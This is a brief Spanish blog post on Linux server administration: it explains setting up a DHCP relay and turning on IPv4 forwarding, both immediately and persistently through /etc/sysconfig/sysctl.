Hay que «meter» las interfaces donde se quiere que escuche el relé DHCP y la/s IP/s de los servidores DHCP, si no haces esto, puedes arrancar el relé directamente ejecutando /usr/sbin/dhcrelay, pero el script de /etc/init.d no funciona.

/proc/sys/net/ipv4/ip_forward ó /etc/sysconfig/sysctl

COMENTARIOS SOBRE LAS ENTRADAS

Poner el forwarding a 1 con la instrucción:

echo 1 > /proc/sys/net/ipv4/ip_forward CONTENIDO DEL FICHERO /etc/sysconfig/sysctl


IP_DYNIP="no" IP_TCP_SYNCOOKIES="yes" IP_FORWARD="yes" IPV6_FORWARD="no" IPV6_PRIVACY=no DISABLE_ECN="yes" ENABLE_SYSRQ="no"

COMENTARIOS SOBRE LAS ENTRADAS

Poner IP_FORWARD=»yes» para que en el inicio el fichero del apartado anterior tenga siempre puesto por defecto 1.

Publicado en GNU\Linux Servers | Deja un comentario